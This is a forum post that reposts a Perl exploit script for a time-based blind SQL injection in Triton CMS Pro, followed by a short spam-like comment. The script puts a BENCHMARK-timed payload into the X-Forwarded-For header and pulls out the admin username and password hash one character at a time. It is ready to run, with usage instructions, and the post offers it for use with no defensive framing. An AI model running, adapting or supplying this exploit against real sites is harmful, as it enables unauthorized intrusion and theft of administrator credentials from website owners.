Triton CMS Pro (X-Forwarded-For) Blind SQL Injection

Betiv Cultivat Data inscrierii: 20/Iul/2008 Mesaje: 58

Cod:

#!/usr/bin/perl -w
#Triton CMS Pro (X-Forwarded-For) Blind SQL Injection
#Admin's username/hash disclosure exploit
#Benchmark() method, so take a coffee and relax
#Coded by __GiReX__

use LWP::UserAgent;
use HTTP::Request;

if(not defined $ARGV[0])
{
print "\nUsage: perl $0 [host] [path] [1/2]\n";
print "Example: perl $0 localhost /tcms/\n";
exit;
}

my $host = ($ARGV[0] =~ /^http:\/\//) ? $ARGV[0]: 'http://' . $ARGV[0];
$host .= $ARGV[1] unless not defined $ARGV[1];

my $client = new LWP::UserAgent;
my $get = new HTTP::Request('GET', $host);
my @cset = (97..122, 0); # Only a-z charset for username exploit if need change it
my @cset2 = (48..57, 97..102);
my $prefix = "tc_";

my ($i, $j) = (0, 1);
my ($user, $hash) = (undef, undef);

banner();

while($i != $#cset)
{
for($i = 0; $i <= $#cset; $i++)
{
my ($pre_time, $post_time) = time();

info(chr($cset[$i]), "Username", $user);
$rv = check_char($cset[$i], $j, "username");
$post_time = time();

if($post_time - $pre_time > 3 and $rv)
{
   $user .= chr($cset[$i]);
   last;
}
}

$j++;
}

if(not defined $user)
{
print STDOUT "\n\n[-] Exploit mistake: please check the benchmark and expected time\n\n";
exit;
}
else
{
print STDOUT "\n[+] Admin Hashed Pass: \r";
}

for($j = 0; $j <= 32; $j++)
{
for($i = 0; $i <= $#cset2; $i++)
{
$pre_time = time();

info(chr($cset2[$i]), "Hashed Pass", $hash);
$rv = check_char($cset2[$i], $j, "password");
$post_time = time();

if($post_time - $pre_time > 3 and $rv)
   {
   $hash .= chr($cset2[$i]);
   last;
   }
}
}

if(not defined $hash or length($hash) != 32)
{
print STDOUT "\n\n[-] Exploit mistake: please check the benchmark expected time\n\n";
}
else
{
print STDOUT "\n\n[+] Exploit terminated\n\n";
}

sub banner
{
print "\n";
print "[+] Triton CMS Pro (X-Forwarded-For) Blind SQL Injection\n";
print "[+] Admin's username/hash disclosure exploit\n";
print "[+] Coded by __GiReX__\n";
print "\n";
}

sub info
{
my($c, $str, $cur) = @_;

$cur = '' unless defined $cur;
print STDOUT "[+] Admin ${str}: ${cur}${c}\r";

$| = 1;
}

sub check_char
{
my ($char, $n, $field) = @_ ;

$get->header('X-Forwarded-For' => "-1' AND ".
         "CASE WHEN (SELECT ASCII(SUBSTRING(${field}, ${n}, 1)) ".
         "FROM ${prefix}members WHERE id=1)=${char} ".
"THEN benchmark(99000000, CHAR(0)) END#");

$res = $client->request($get);

return $res->is_success;
}

# milw0rm.com [2008-07-07]

Trimis: 31/08/2012 00:45

Hi!!! Nice post Thank for that) Besides my friends real agree with me)) Thank again!